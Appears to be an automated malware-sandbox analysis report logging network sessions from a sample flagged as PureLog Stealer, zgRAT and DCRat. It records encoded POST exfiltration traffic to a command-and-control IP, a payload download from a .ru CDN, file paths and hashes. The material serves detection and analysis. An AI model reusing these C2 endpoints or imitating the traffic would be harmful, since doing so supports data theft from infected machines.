Dec 8, 2024 15:28:51.087480068 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:51.438301086 CET	1904	OUT	Data Raw: 50 5f 46 50 5e 44 50 54 54 5e 50 59 5b 59 59 5e 59 58 59 59 57 5d 51 5d 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: P_FP^DPTT^PY[YY^YXYYW]Q]YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.Y'=.$*%Z!U::$-78>_,/$#&2^%8>"<7[/ ]!![ $
Dec 8, 2024 15:28:52.407707930 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:52.644364119 CET	380	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:52 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 13 39 50 25 1c 20 0a 28 29 39 00 25 2c 0e 01 25 3b 2f 5c 29 09 2f 5c 27 07 3c 5a 38 39 2b 1c 34 02 28 5e 30 03 30 58 22 3c 2f 50 2d 38 20 5a 06 10 21 5b 25 3f 33 12 3c 02 2d 5e 26 5e 25 0a 35 09 15 42 33 3e 34 08 3d 14 3a 5f 23 01 37 1e 32 3d 26 0c 2d 26 3e 5f 26 1e 0e 08 31 1c 2c 55 0f 1f 26 52 24 1c 3c 0c 23 24 25 0c 35 20 09 14 25 0b 2a 51 36 3f 0d 09 2a 2e 3b 07 3f 22 38 1f 20 22 0d 59 2c 2b 25 5d 3d 22 09 1d 30 06 20 53 2a 02 2e 54 0d 33 56 52 Data Ascii: 9P% ()9%,%;/\)/\'<Z89+4(^00X"</P-8 Z![%?3<-^&^%5B3>4=:_#72=&-&>_&1,U&R$<#$%5 %Q6?.;?"8 "Y,+%]="0 S*.T3VR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49936	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:51.210522890 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:51.560235977 CET	2584	OUT	Data Raw: 50 59 43 5d 5b 42 50 55 54 5e 50 59 5b 59 59 5e 59 5d 59 59 57 53 51 5f 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PYC][BPUT^PY[YY^Y]YYWSQ_YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.'-)$9)6)94 ^6[8;;%>%V.X%! +[/+ ]!![ $
Dec 8, 2024 15:28:52.535586119 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:52.768261909 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49941	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:53.009546995 CET	538	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue
Dec 8, 2024 15:28:53.356987000 CET	2584	OUT	Data Raw: 55 5b 46 56 5e 40 55 5f 54 5e 50 59 5b 5a 59 5b 59 54 59 5b 57 56 51 5e 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: U[FV^@U_T^PY[ZY[YTY[WVQ^YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-%-529=50%-2^ >^,^$T%.^236Y'+! / /+ ]!![ (
Dec 8, 2024 15:28:54.329621077 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:54.568438053 CET	151	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49947	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:54.802606106 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:55.154283047 CET	2584	OUT	Data Raw: 50 53 43 51 5e 42 55 55 54 5e 50 59 5b 59 59 59 59 5d 59 58 57 54 51 57 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PSCQ^BUUT^PY[YYYY]YXWTQWYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.^0>-%6" 5X-:4:;%.$1&;>] <#.+ ]!![ $
Dec 8, 2024 15:28:56.121335983 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:56.356427908 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49951	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:56.601273060 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2584 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:56.950685024 CET	2584	OUT	Data Raw: 55 5b 46 51 5b 40 55 53 54 5e 50 59 5b 5c 59 5a 59 54 59 57 57 57 51 5a 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: U[FQ[@UST^PY[\YZYTYWWWQZYXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y-$=1&%X63&:& :_,(<0=010&*Y (.+ ]!![ 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49955	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:57.782557011 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 1904 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:58.138880968 CET	1904	OUT	Data Raw: 50 58 43 50 5e 47 50 55 54 5e 50 59 5b 5d 59 5d 59 5e 59 58 57 52 51 5e 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: PXCP^GPUT^PY[]Y]Y^YXWRQ^YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y.Z%=.29]# )X,$!4;6,8%><^2 *%>^4?<, ]!![ 4
Dec 8, 2024 15:28:59.171087027 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:59.404311895 CET	380	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:58 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 06 13 3a 0f 26 25 23 54 3d 3a 3a 59 25 3c 20 01 24 3b 3b 5c 3e 0e 0a 05 33 07 28 5b 38 03 3f 54 37 05 20 5e 27 3d 06 1e 20 2c 3c 0e 2c 38 20 5a 06 10 21 5b 25 3f 3f 5b 3c 15 03 14 32 3b 3e 18 36 24 3f 09 30 04 3c 08 29 14 07 06 23 2f 24 0b 31 03 03 11 2f 25 26 15 26 56 33 1d 31 1c 2c 55 0f 1f 26 19 27 1c 0d 1e 22 27 22 1d 20 20 37 5b 32 1b 26 18 23 3c 30 1b 2b 3d 2f 03 3c 0c 0a 59 23 21 27 59 2d 28 2d 5c 3f 32 27 1e 33 3c 20 53 2a 02 2e 54 0d 33 56 52 Data Ascii: :&%#T=::Y%< $;;\>3([8?T7 ^'= ,<,8 Z![%??[<2;>6$?0<)#/$1/%&&V31,U&'"'" 7[2&#<0+=/<Y#!'Y-(-\?2'3< S*.T3VR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49956	185.246.67.73	80	8028	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Timestamp	Bytes transferred	Direction	Data
Dec 8, 2024 15:28:57.941849947 CET	562	OUT	POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 185.246.67.73 Content-Length: 2580 Expect: 100-continue Connection: Keep-Alive
Dec 8, 2024 15:28:58.294572115 CET	2580	OUT	Data Raw: 55 58 43 54 5b 42 50 52 54 5e 50 59 5b 58 59 58 59 55 59 5a 57 5d 51 5c 59 58 5a 5e 51 5b 55 5c 5d 5d 56 54 59 5c 52 5d 5c 5d 59 56 50 5e 5f 5a 50 5c 5b 58 58 5e 50 59 56 5a 5e 5b 58 59 5a 43 5a 52 41 46 59 5c 55 54 46 5f 5c 59 58 5a 5d 5f 5b 5c Data Ascii: UXCT[BPRT^PY[XYXYUYZW]Q\YXZ^Q[U\]]VTY\R]\]YVP^_ZP\[XX^PYVZ^[XYZCZRAFY\UTF_\YXZ]_[\WSSDQZ^PUW[VSPYT\VZV]V[V\SYUX\]D]PZ^ZSS_^\ST[Y^WY[P]^ZCR]TY]ZWP]RY]XPYYYB_T_PP]P^[]Z^Q\^QU^UZ_]\XQ\P^Y._'.)^26#0%\. 8_8$$/' %1! '[.; ]!![ ,
Dec 8, 2024 15:28:59.336906910 CET	25	IN	HTTP/1.1 100 Continue
Dec 8, 2024 15:28:59.576364994 CET	207	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:28:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 34 5b 40 58 Data Ascii: 4[@X

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.184.109	443	6036	C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:26:58 UTC	191	OUT	GET /checker/release/update/SandeLLoCHECKER_Installer-FILES.7z HTTP/1.1 Accept: / User-Agent: AdvancedInstaller Host: cdn.semkrill.ru Connection: Keep-Alive Cache-Control: no-cache
2024-12-08 14:27:00 UTC	889	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:26:59 GMT Content-Length: 12251984 Connection: close last-modified: Mon, 01 Apr 2024 16:09:40 GMT etag: "baf350-6150b3787a349" strict-transport-security: max-age=31536000; CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nOFIbpOWtT7%2BF978Gb%2B5z26FuqpCg7QJQIWNNuCzCxWTagYRJURWeBDbmx%2FVV8wwQgPEkvKmJ%2FxAbm7UGZGLRKZTmg60sy0xh4TralWQBnEOObFCYBUkhrHu6dDIbnWEauU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eed6efefbed238e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1982&min_rtt=1973&rtt_var=746&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2825&recv_bytes=805&delivery_rate=1479979&cwnd=232&unsent_bytes=0&cid=3a687beca8f19f5f&ts=1290&x=0"
2024-12-08 14:27:00 UTC	480	IN	Data Raw: 37 7a bc af 27 1c 00 04 89 c1 09 3f 11 f3 ba 00 00 00 00 00 1f 00 00 00 00 00 00 00 a6 42 f8 56 e1 85 1d c0 06 5d 00 20 19 48 66 a7 e1 74 df 0f fb 80 6e ea 2f b6 7c 7d 14 f4 66 f6 18 58 2b 10 c6 a2 72 42 d6 fc 85 f8 40 06 b0 b2 25 00 8f 0b 3a d6 11 63 d9 d8 ee 36 7b 74 92 f7 9b 48 d1 dd 2f 75 ea 81 3c 9b 40 3a 01 c5 6e ad d1 7a 63 e9 a9 39 f1 8b d9 34 92 61 91 3a b5 73 49 8a 22 32 ab 11 1e ec 87 4b 8f 3e 87 b3 29 7a 1f e1 15 6f c5 9c 5e 1e 69 2e b1 58 00 31 29 da ee 8a 72 a8 06 b1 ed 8a 64 0f d5 2e 72 0e 3a 08 50 bc 11 b7 11 a4 1d 68 11 c5 2f c5 e0 07 36 0f 34 9d c9 ff 5a 94 12 95 51 8f c1 80 2b 2c 44 98 ff 2c 2f 74 86 88 13 ca c6 07 47 03 30 82 3c a7 9e d4 15 24 e1 72 f3 38 f0 c0 1b dd 59 00 f5 45 47 b0 1e b9 94 3b 9c 88 81 ce 3c 20 42 dc 15 d4 0e 45 ea Data Ascii: 7z'?BV] Hftn/\|}fX+rB@%:c6{tH/u<@:nzc94a:sI"2K>)zo^i.X1)rd.r:Ph/64ZQ+,D,/tG0<$r8YEG;< BE
2024-12-08 14:27:00 UTC	1369	IN	Data Raw: 34 ed f4 73 b9 1f 47 56 19 87 e2 bd 7a 7a 20 6f a0 d4 ad 1d f4 20 cf 18 98 aa 69 d0 2f 08 61 ed 95 cb 96 c1 13 40 db ec e9 22 ba 42 74 69 3f 1b 0d 07 41 af 64 94 2b 63 39 8c 78 ba 78 ec d7 49 04 f2 3a 75 33 36 56 f9 73 bc cb c8 33 7f ea 28 2e e7 01 8d 1c c4 85 21 06 f1 8f 58 b7 8c d8 8b c8 1d e1 62 eb 1c da 5a a2 22 65 61 71 d4 7d b1 dd d3 45 75 31 15 ce 3e 2d ca b8 5d 14 96 01 12 01 8b cb a5 29 9d 35 f6 b1 9d 5d aa 6a 11 17 08 cc 46 c6 92 8a c3 d2 2d 31 5d eb e4 25 7a e3 49 b9 e6 98 2c dc 6c c5 2c fd c2 58 19 d4 62 4c a2 90 56 a4 17 4e cf 8c e7 f6 3f 92 bd af 5d 27 f3 72 4f f1 2a 84 f5 87 15 1b a3 23 3f 03 27 9e 8d 89 22 0c 68 a4 8c 71 37 46 02 a0 2a 55 6f 7b da 98 14 e4 d5 01 19 01 c0 1f 11 96 d3 3a ab 79 06 41 30 82 50 07 de f7 8d dd a4 b5 8a 47 e0 c1 Data Ascii: 4sGVzz o i/a@"Bti?Ad+c9xxI:u36Vs3(.!XbZ"eaq}Eu1>-])5]jF-1]%zI,l,XbLVN?]'rO#?'"hq7FUo{:yA0PG
2024-12-08 14:27:00 UTC	1369	IN	Data Raw: 22 d7 d3 9e 49 dd 71 ef 29 6c 33 e6 3b 18 c6 28 58 52 4b b6 49 16 8c 52 60 de e1 c5 02 49 a7 b8 bf 19 ad 06 3f 13 d5 c6 96 e2 61 fc ee bd 6e 42 46 c2 50 16 e5 b1 de 39 33 64 f1 9f 05 e1 9a f2 79 fc b9 80 3c e7 5f 33 5c 43 f8 c8 19 49 38 5f 1f 97 1f 0b ad 34 36 4d e8 0c 2c 57 5a f2 69 68 eb 4c 45 a3 50 b9 00 9f d7 34 cf 5c e8 68 57 19 98 ea f8 aa 9b 76 c1 80 5a 07 5e fd 07 e6 f8 58 ea d9 e2 ae 67 c2 f0 ee 55 08 21 fa eb bc c7 2b 50 d8 77 8c ee 45 5f 44 1e 03 5a cf f8 cc 31 22 34 fe be d9 81 cc 47 74 47 97 b5 c9 c6 74 bc 16 bd ac a2 7c a7 42 fd 82 e8 67 1e d6 59 bc ed 40 04 3b 28 02 c0 3f 4d e4 8b 95 ad 35 6b 50 ad 23 2a 9e d2 e9 2e dd 5b 9d 0c e8 c6 8a 02 59 a2 f5 8d 23 20 f6 63 e9 9a a4 64 1b 78 a2 9c 3b 36 4f 81 00 15 40 c2 77 67 2d 7b 11 89 da aa e9 00 Data Ascii: "Iq)l3;(XRKIR`I?anBFP93dy<_3\CI8_46M,WZihLEP4\hWvZ^XgU!+PwE_DZ1"4GtGt\|BgY@;(?M5kP#*.[Y# cdx;6O@wg-{
2024-12-08 14:27:00 UTC	1369	IN	Data Raw: d8 13 a3 8c 59 27 23 8b 4c 42 5d 86 cc 5d 8d 7e b6 4a 3b 4d 2f 6b cd 8e 39 17 84 2d c4 9d 2d 06 dc 41 b0 55 1d 78 a1 4f 67 73 a3 d2 19 9e 2a 0f 2b 2f 57 f7 d6 f5 fc 2b 83 e1 07 4c 76 6f 0a b6 80 13 9b 0c d2 8d 81 84 9c 8b 26 6c 24 56 57 ca 83 ec ef d2 26 78 97 71 70 d3 10 74 30 79 64 5b cd d9 5d 34 2a a1 c4 64 91 ab 2a df 38 5b 74 04 47 1c 6c 1f bf 13 97 3d e7 6c c8 40 11 ba 41 80 83 92 f8 ad 37 eb 3f b7 55 24 46 5b fa 7e b6 26 6a 13 53 94 fd 57 d1 f5 8d 3c 6a e2 dd c1 02 12 cb ae bd 30 20 25 4f ef e0 8e cc 43 fc 67 73 10 dc 33 93 c7 3f 6d e5 4d 2c 39 98 72 d0 ea e9 cf fa 53 02 74 58 e6 b7 cf 7b b7 a3 25 f1 4a 4f f2 d8 44 97 cb 6f 7a 08 d5 4b 44 e3 6b 9c 5f 0d d3 dc a9 2b 4e b9 23 41 a3 b7 23 7e e4 83 56 84 0e 80 8c 3b e1 44 aa ec 24 96 ea 10 1b ae 64 69 Data Ascii: Y'#LB]]~J;M/k9--AUxOgs+/W+Lvo&l$VW&xqpt0yd[]4d*8[tGl=l@A7?U$F[~&jSW<j0 %OCgs3?mM,9rStX{%JODozKDk_+N#A#~V;D$di
2024-12-08 14:27:00 UTC	1369	IN	Data Raw: da 99 ea 92 e9 00 ef 5e 1d cc e3 4c dd 99 0a ea 22 95 79 a8 15 e7 34 da 80 6e 08 dd a8 8c 85 32 d5 88 a0 9f e8 90 cc 8d 9b b4 56 94 65 51 e4 ec 40 1d dc a8 ab 82 35 95 15 2f c3 98 b4 19 94 92 d5 3c b9 0d cc 50 0a 00 3b 36 03 db 95 e5 00 dc 48 60 ae fa 9a 4a 75 bb 85 e2 61 b2 3c 52 f0 23 21 1e 85 b7 f8 d9 f3 99 cf 5b 5b a4 b0 fb d2 48 86 e8 03 c2 21 91 be 2b bf 23 60 8f c3 1f df 5f 4f 25 c2 05 68 0c 06 91 6e 2d 9d 17 37 51 e8 67 f8 b4 0c 85 d6 88 4e a0 bd 23 8d b2 b1 e2 d3 91 88 11 57 de 45 a2 dd a9 e5 65 2e 0c 33 ee 44 17 c1 55 fe 95 bb c8 7c 65 5f 89 08 4a ec 84 b2 31 54 6e 36 69 24 b7 84 39 56 8f 9c a6 07 d2 7c 0f 7b fa 0b 8e 0a 89 50 0c ea 4e 64 4c 8b ac 48 1f 55 99 6e 41 e1 0e 20 d3 59 1e 04 fc 1e c4 35 9f 2c c0 4a df 0d 0f c2 81 c8 b4 54 85 70 f0 d1 Data Ascii: ^L"y4n2VeQ@5/<P;6H`Jua<R#![[H!+#`_O%hn-7QgN#WEe.3DU\|e_J1Tn6i$9V\|{PNdLHUnA Y5,JTp
2024-12-08 14:27:00 UTC	1369	IN	Data Raw: fb c1 92 d9 49 d2 06 4d ae 56 37 58 21 a3 78 7c 23 ee 29 ec d4 f3 ee e2 36 ab f5 f4 7e c7 68 e3 28 07 87 c2 fd 2b 33 31 06 b3 a3 4b 07 80 50 13 b7 7d 8e d3 87 4d 5a a7 e6 69 8b c9 9e 11 4b bc 25 cf ba 81 c1 db c4 99 3d 01 b3 1a 01 aa 3a fb f5 1f 8f ac 6c 75 e1 4c f0 26 8a 80 f7 0c c7 91 85 55 3e 52 c2 79 e8 e7 62 42 d3 64 22 a1 08 bb 54 a4 9f 72 49 36 94 31 f5 57 5e 00 fe d2 f4 36 2b 52 58 21 35 68 fe a5 6a c6 2f 9a b1 53 75 89 e0 c2 7b 61 b6 f7 03 98 3e 33 9b e1 8a e7 24 e4 19 56 b8 db c7 33 fb 48 5a 85 99 bd c8 75 5b 92 bb 69 7c 9e e0 e3 f7 8a d7 1a 23 6c f5 5f 58 0c bf 5f 15 78 f1 32 cd f8 b4 2a fe 7c 46 d8 c7 28 bc 93 c1 06 14 80 81 e0 b6 cd 73 75 aa 5c 92 a2 7e 54 7d d8 23 66 b8 49 e7 e2 21 a1 b0 53 43 93 be a8 2b 89 7d d9 c9 da 7f 99 22 32 ed 22 6f Data Ascii: IMV7X!x\|#)6~h(+31KP}MZiK%=:luL&U>RybBd"TrI61W^6+RX!5hj/Su{a>3$V3HZu[i\|#l_X_x2*\|F(su\~T}#fI!SC+}"2"o

Target ID:	0
Start time:	09:26:53
Start date:	08/12/2024
Path:	C:\Users\user\Desktop\gorkmTnChA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\gorkmTnChA.exe"
Imagebase:	0x400000
File size:	9'843'712 bytes
MD5 hash:	E4E1923F51EB61ED20CBBFAB84AB25B5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000003.1654559691.0000000002BD3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000000.00000000.1648785828.0000000000408000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:26:53
Start date:	08/12/2024
Path:	C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\DCRatBuild.exe"
Imagebase:	0x490000
File size:	3'860'292 bytes
MD5 hash:	A7645CAC446E39F9961F51E3BB1C0515
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000001.00000003.1656268229.00000000051CA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000001.00000003.1655715436.000000000688F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 